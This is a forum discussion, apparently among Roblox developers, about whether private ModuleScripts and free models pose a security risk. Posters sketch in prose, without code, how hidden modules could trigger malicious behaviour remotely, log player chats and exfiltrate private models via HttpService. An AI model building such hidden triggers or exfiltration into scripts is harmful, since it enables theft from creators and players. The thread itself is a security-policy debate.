Their fault for trusting 3rd-party content. They understood the risks, but made the choice to insert it anyway. Not being able to view the source doesn’t change the fact that people have been hiding malicious code in their scripts for years (e.g. code to admin creator without your consent in Kohl’s admin). If you insert 3rd-party code and it messes with your place, that’s all on you. It has nothing to do with the fact that the source is private and all the fact that you inserted 3rd-party code.
1 Like
The question is, how many users of these free models would actually think to review all the code for whatever they’re taking?
The average user isn’t going to look through hundreds or thousands of lines of code within a free model. If they do, chances are they’re not even going to understand what most of it means, and they’re not going to know what warning signs to look for. They’re not going to be reviewing the code whether it’s an open-source script or a private module.
Knowing that, you could just as easily hide code in a normal script that uses MarketplaceService to check a t-shirt description usable to trigger certain pieces of malicious code at any given time.
Us experienced developers know to review code from outside models and to avoid untrusted closed-source scripts, but the vast majority of regular users do not have the knowledge to do this. Regardless of whether private modules are allowed or not, average users will still put their games at a security risk whenever using any free models.
After all, I still hear from people who get their places messed up by the classic “Infection” scripts from free models and they have no idea what’s going on.
4 Likes
Why is there even an argument over this when we all know the baseline facts:
-Currently it presents a large security issue in it’s current implementation
-It’s an extremely useful feature
Great we all know these, let’s stop contesting about it.
Let’s instead re-implement public modules in a way that maintains it’s usability, and raises its security…
I don’t have the exact answer for all of this but I just want this feature implemented in the right, safe, way.
2 Likes
My point is not that private modules are yet another attack vector. My point is that they are more dangerous as an attack vector for malicious behavior because detection can be completely avoided. Whereas with plugins and free models, it only takes one person to uncover the secret.
If I may clarify: You say it’s the fault of the user for trusting 3rd-party private modules, but you also expect to have users who trust your own private modules. Is that correct?
1 Like
Take a look at Python, famed for importing everything. In order to be registered on the pypi index, you need to have your module open-sourced and have a proper versioning system in place so that updates dont break or maliciously change people’s code.
1 Like
I wish we could require versionIds of modules to prevent something from changing unexpectedly on us if we don’t want it to…
1 Like
Not sure how effective that’d be since the private module (never updated) could just require another private module (regularly updated), effectively bypassing your countermeasure.
1 Like
Ah true…
1 Like
You can’t avoid detection completely. If it does something to your place there will be at least some symptoms that the script has a dark secret. It only takes one person to figure out which module is causing it and what it’s actually doing.
Even then, you could probably figure out whether or not a source is trustworthy by looking at their other publications and generally by what the module is meant to do. If you’re requiring a module that does high-realism projectile physics it’s much more likely to be clean than if you require one that claims to remove lag from your place.
Similarly, a closed-source program for Windows that’s meant as a tool for any purpose, or even a simple game, is much more likely to be clean than something claiming to “make your computer faster” or give you superpowers in any game you want.
Point is, it’s not impossible to figure out whether or not a source is trustworthy, and if you do happen to trust something that you shouldn’t have, you will notice it sooner or later.
1 Like
That’s incorrect. A private module could easily have malicious functionality without being easily detectable. For example, it could log player chats into a buffer and periodically send them to a remote server with HttpService. Or it could insert one of the place creator’s private models into the game, read its properties, and send a serialized version to a remote server (essentially stealing the model).
2 Likes
That is correct, yes. However, to use these vulnerabilities, I’d need to be able to target who is going to use my module very carefully. It doesn’t make sense to log the chat of everyone on every server that my module runs on, I’d be targeting a specific user who may very well not even end up requiring my module. The same goes for stealing models, and even then I won’t be able to serialize any scripts or unions in the model.
Absolutely not. Any time you’re dealing with young users, you cannot assume they understood the risks.
1 Like
Right. Then they’d be part of
Well no more of those so called “Roblox moderation & anti exploiter groups”, which is good in my opinion. They were abused heavily, basically these groups would try to “protect” your game from issues, and you had to be a server script that required a module script which then gave everyone gui’s and allowed them to “call” a moderator and such.
Of course, these groups could run any code they wanted in your game, so your game is really not protected.
An example is this group
That group you linked is a joke, I’ve had a look at their source and it is horrifying to look at. Which is why I support that all modules should be versioned so that I can just take a specific version and them all be open-source
If you don’t trust them, then don’t use their module. “I suspect their module may be actively harming my place! Let me use it anyway, and let me control the version in hopes that I have a clean version” is silly. The source also doesn’t need to be made public either. If you don’t trust it without the public source, then don’t use private modules in the first place.
Tell that to every large company that does any sort of software.
By having it public, the community can fix issues with it and can trust it more.
The only way I could agree to private modules is if they had to have permissions for things
It also helps that these large companies can file patents… we can’t.
As soon as we release our code, somebody else will claim it as their own. Furthermore, if we wish to credit ourselves then a more intelligent developer can work this out and remove it.
5 Likes
If you don’t trust them, nothing’s stopping you from not using them. On the other hand, everyone else who wants to use private modules can continue to do so at no effect to you. There are no changes needed towards private modules. Don’t use them if you don’t trust them. End of story.
1 Like
All these kids are injecting themselves with unknown substances, better not do anything because it doesn’t affect me, even though it may harm them.
That is why it is open-source, no one really cares that much once it is open.
Why do you guys release plugins if i can just view the source, but get all defensive of source when it comes to requiring a module?